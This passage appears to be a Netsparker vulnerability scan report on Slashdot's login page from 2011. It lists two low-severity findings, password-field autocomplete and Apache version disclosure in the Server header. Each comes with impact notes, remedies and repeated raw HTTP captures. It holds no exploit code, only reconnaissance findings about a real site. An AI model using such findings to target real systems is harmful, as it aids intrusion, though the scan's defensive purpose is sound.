class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="hide_modal_box(); return false;"><span>Close</span></a> </div></div><script id="after-content" type="text/javascript">(function( $, fn, console ){ $ && fn && $(function(){ fn($, console); });})(window.jQuery, window.pageload_done, window.console);</script></body></html>
Auto Complete Enabled
Auto Complete Enabled
1
TOTAL
LOW
CONFIRMED
1
"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".
Impact
Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.Remedy
Add the attribute
autocomplete="off" to the form tag or to individual "input" fields.Actions to Take
- See the remedy for the solution.
- Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
- Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.
Required Skills for Successful Exploitation
Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.
External References
|
- /my/login
/my/login CONFIRMED |
Identified Field Name
upasswd
Request
GET /my/login HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: slashdot.org
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: slashdot.org
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Fry: It's a widely-believed fact!
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 14414
Date: Tue, 08 Mar 2011 15:58:56 GMT
X-Varnish: 1629928646
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '90026720232658838', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } function hint_more( $more_link ){ if ( !auto_more ){ $more_link. click(function(){ hint_more = undefined; }). after('<span id="more-hint" class="feature-hint"><em>NEW: Fetch stories in-line!</em></span>'); } } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { hint_more && hint_more($more_link); $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="hide_modal_box(); return false;"><span>Close</span></a> </div></div><script id="after-content" type="text/javascript">(function( $, fn, console ){ $ && fn && $(function(){ fn($, console); });})(window.jQuery, window.pageload_done, window.console);</script></body></html>
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Fry: It's a widely-believed fact!
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 14414
Date: Tue, 08 Mar 2011 15:58:56 GMT
X-Varnish: 1629928646
Age: 0
Connection: keep-alive
<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, user-scalable=yes, initial-scale=1.0, maximum-scale=10.0" /> <meta name="apple-mobile-web-app-capable" content="yes"> <meta name="apple-mobile-web-app-status-bar-style" content="black"> <link rel="stylesheet" type="text/css" rev="stylesheet" href="//a.fsdn.com/sd/smallscreen.css?T_2_5_0_306n" media="screen, projection"><script id="before-content" type="text/javascript">var pageload = { pagemark: '90026720232658838', before_content: (new Date).getTime()};function pageload_done( $, console, maybe ){ pageload.after_readycode = (new Date).getTime(); pageload.content_ready_time = pageload.content_ready - pageload.before_content; pageload.script_ready_time = pageload.after_readycode - pageload.content_ready; pageload.ready_time = pageload.after_readycode - pageload.before_content; // Only report 1% of cases. maybe || (Math.random()>0.01) || $.ajax({ data: { op: 'page_profile', pagemark: pageload.pagemark, dom: pageload.content_ready_time, js: pageload.script_ready_time } });}</script><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><meta property="fb:admins" content="100000696822412"><meta property="fb:page_id" content="267995220856"><title>Log In</title><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?T_2_5_0_306n" ><!--[if gte IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?T_2_5_0_306n" ><![endif]--><!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?T_2_5_0_306n" ><![endif]--><script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306n" type="text/javascript"></script><script id="after-jquery" type="text/javascript">(function( $, pageload, pageload_done, console ){$ && pageload && $(function(){ pageload.content_ready = (new Date).getTime(); pageload_done && $(function(){ pageload_done($, console, 'maybe'); });});})(window.jQuery, window.pageload, window.pageload_done, window.console);</script><script type="text/javascript">(function(){var regexp=/\s*(?:\d+|many)\s+more\s*/i; var auto_more_count = 2; function auto_more(){ var $more_link = $('#more-experiment a'); $more_link.each(function(){ var $lastitem = $('#firehoselist>div.fhitem:visible:last'); if ( Bounds.intersect(window, $lastitem) ) { // _any_ click can trigger, but click-specific ad will win setTimeout(function(){ inlineAdFirehose($lastitem, 1); }, 0); !--auto_more_count && (auto_more=undefined); // don't allow a call till the next paginate gets built and |more_possible| $(document).unbind('scroll', call_auto_more); } }); }; function call_auto_more(){ auto_more && auto_more(); } function hint_more( $more_link ){ if ( !auto_more ){ $more_link. click(function(){ hint_more = undefined; }). after('<span id="more-hint" class="feature-hint"><em>NEW: Fetch stories in-line!</em></span>'); } } $('#more-experiment a'). live('more-possible', function( event ){ var $more_link=$(this); if ( regexp.test($more_link.text()) ) { hint_more && hint_more($more_link); $(document).bind('scroll', call_auto_more); } else { $(document).unbind('scroll', call_auto_more); } });})();</script><script type="text/javascript">var suggestions_for_context = { nod: 'fresh funny insightful interesting maybe ', nix: 'binspam dupe notthebest offtopic slownewsday stale stupid ', tagnod: 'descriptive', feedback: 'typo dupe error', metanod: 'insightful interesting informative funny underrated', metanix: 'offtopic flamebait troll redundant overrated'};</script><script type="text/javascript">var adpage = 'index';</script><rel class="login" /><!--[if IE]><script src="//a.fsdn.com/sd/html5.js" type="text/javascript"></script><![endif]--><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" ><link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl"><link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"><!-- DoubleClick Random Number --><script type="text/javascript"> dfp_ord=Math.random()*10000000000000000; dfp_tile = 1;</script><!-- End DoubleClick Random Number --><script type="text/javascript">window.google_analytics_uacct = "UA-32013-5";var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-32013-5']); _gaq.push(['_trackPageview'],['_setDomainName', 'slashdot.org']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })();</script></head><body class="anon login "><div id="top_parent"></div><a name="topothepage"></a><header class="col_wrapper container clearfix h"> <hgroup> <section class="grid_11"> <div id="logo" > <a href="//slashdot.org"><span>Slashdot</span></a> <div id="jump" class="hide"> <a href="#main-articles">Stories</a><br> <a href="#blocks">Slash Boxes</a><br> <a href="#comments">Comments</a> </div> </div> <form id="search" method="get" action="//slashdot.org/index2.pl"> <input type="text" name="fhfilter" value="" id="searchquery"> <span class="ui-icon search"></span> <input type="submit" value="Search"> </form> </section> <nav role="top-navigation" class="grid_13"> <a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;" class="btn link">Join</a> <a href="//slashdot.org/my/login" onclick="show_login_box(); $('#modal_box').addClass('login'); return false;" class="btn link">Log In</a> <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a story to Slashdot" class="btn link">Submit<span class="opt"> Story</span></a> </nav> </hgroup></header><section id="fix"><div class="col_1"></div><div class="col_2"><section class="grid_24 fix"></section></div></section><section> <div class="col_1"><nav class="left_menu" id="links" role="sections"> <ul class="menu" id="fhtablist_new"> <li class="Stories"> <a href="//slashdot.org/stories">Stories</a> </li> <li class="Recent"> <a href="//slashdot.org/recent">Recent</a> </li> <li class="Popular"> <a href="//slashdot.org/popular">Popular</a> </li> </ul> <h4 class="hide" id="links-sections-title" class='active'> <a class="data-title" href="//slashdot.org" >Slashdot</a> <script type="data">{ color: "", viewname: "stories", filter: "", name: "Main", id: 13 }</script> </h4> <ul id="firehose-sections" role="sections" class="left_menu"> <li class="spacer"></li> <li class="" id="fhsection-askslashdot"> <a id="fhsectiontitle-4" class="data-title" href="//ask.slashdot.org">Ask Slashdot</a> </li> <li class="" id="fhsection-bookreview"> <a id="fhsectiontitle-6" class="data-title" href="//books.slashdot.org">Book Reviews</a> </li> <li class="" id="fhsection-games"> <a id="fhsectiontitle-10" class="data-title" href="//games.slashdot.org">Games</a> </li> <li class="" id="fhsection-idle"> <a id="fhsectiontitle-28" class="data-title" href="//idle.slashdot.org">Idle</a> </li> <li class="" id="fhsection-yro"> <a id="fhsectiontitle-17" class="data-title" href="//yro.slashdot.org">YRO</a> </li> <li class="spacer"></li> <li class="" id="fhsection-cloud"> <a id="fhsectiontitle-cloud" class="data-title" href="//slashdot.org/stories/cloud">Cloud</a> </li> <li class="" id="fhsection-hardware"> <a id="fhsectiontitle-21" class="data-title" href="//hardware.slashdot.org">Hardware</a> </li> <li class="" id="fhsection-linux"> <a id="fhsectiontitle-19" class="data-title" href="//linux.slashdot.org">Linux</a> </li> <li class="" id="fhsection-it"> <a id="fhsectiontitle-18" class="data-title" href="//it.slashdot.org">Management</a> </li> <li class="" id="fhsection-mobile"> <a id="fhsectiontitle-29" class="data-title" href="//mobile.slashdot.org">Mobile</a> </li> <li class="" id="fhsection-science"> <a id="fhsectiontitle-14" class="data-title" href="//science.slashdot.org">Science</a> </li> <li class="" id="fhsection-security"> <a id="fhsectiontitle-security" class="data-title" href="//slashdot.org/stories/security">Security</a> </li> <li class="" id="fhsection-storage"> <a id="fhsectiontitle-storage" class="data-title" href="//slashdot.org/stories/storage">Storage</a> </li> </ul></nav> </div> <div class="col_2"> <section class="grid_24" id="content"> <section id="firehose"> <div class="grid_24" ><h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form></section> <aside id="slashboxes"> </aside> </section> </div> </section> </section> <footer class="grid_24"> <nav class="grid_20" role="footer"> <ul> <li><a href="//slashdot.org/faq">FAQ</a></li> <li><a href="//slashdot.org/hof.shtml">Hall of Fame</a></li> <li><a href="http://geek.net/advertising">Advertising</a></li> <li><a href="http://geek.net/terms.php">Terms</a></li> <li><a href="http://geek.net/privacy-statement">Privacy</a></li> <li><a href="//slashdot.org/faq/slashmeta.shtml">About</a></li> </ul> </nav> <div class="grid_4 tright">© 2011, <a href="http://geek.net" title="The Mother Ship">Geeknet</a></div> </footer><div id="login_cover" class="hide" onclick="hide_login_box()"></div><div id="login_box" class="hide"> <div id="login_box_content"> <h1>Log In</h1> <div id="formtabs"> <ul> <li class="active">Log In<span></span></li> <li><a href="//slashdot.org/my/newuser" onclick="javascript:getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Create Account</a></li> <li><a href="//slashdot.org/my/mailpassword">Retrieve Password</a></li> </ul> </div> <form action="//slashdot.org/my/login" method="post" onsubmit="if (global_returnto) { this.returnto.value = global_returnto }"><fieldset> <input type="hidden" name="returnto" value=""> <input type="hidden" name="op" value="userlogin"> <p> <label class="fleft" for="unickname">Nickname:</label> <input type="text" name="unickname" value=""> </p> <p> <label class="fleft" for="upasswd">Password:</label> <input type="password" name="upasswd" placeholder="6-20 characters long"> </p> <label class="checkbox"><input type="checkbox" name="login_temp" value="yes"> Public Terminal</label> <br> <hr> <input type="submit" name="userlogin" value="Log In" class="nofloat"> <a href="//slashdot.org/my/mailpassword" class="btn link" onclick="getModalPrefs('sendPasswdModal', 'Retrieve Password', 1); return false;">Forgot your password?</a></fieldset></form> <div class="actions"> <a class="ico close" href="#" onclick="hide_login_box(); return false"><span>Close</span></a> </div> </div></div><script type="text/javascript">logged_in = 0</script><script type="text/javascript">COMSCORE.beacon({ c1:2, c2:6035546, c3:"", c4:"", c5:"", c6:"", c15:""});</script><noscript><img src="http://b.scorecardresearch.com/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1" alt="comScore2"></noscript><div id="modal_cover" class="hide" onclick="hide_modal_box(); return false;"></div><div id="modal_box" class="hide"> <h3><div id="logo"><a href="//slashdot.org">Slashdot</a></div><span id="preference_title"></span></h3><br> <div id="modal_box_content"></div> <div class="actions"> <a class="ico close" href="#" onclick="hide_modal_box(); return false;"><span>Close</span></a> </div></div><script id="after-content" type="text/javascript">(function( $, fn, console ){ $ && fn && $(function(){ fn($, console); });})(window.jQuery, window.pageload_done, window.console);</script></body></html>
Apache Version Disclosure
Apache Version Disclosure
1
TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.
Impact
An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.
Remedy
Configure your web server to prevent information leakage from the
SERVER header of its HTTP response.
|
- /my/login
/my/login |
Extracted Version
Apache/1.3.42 (Unix)
Request
GET /my/login HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: slashdot.org
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Hoyt LLC Research - Crawler Fingerprinting Operations)
Cache-Control: no-cache
Host: slashdot.org
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Response
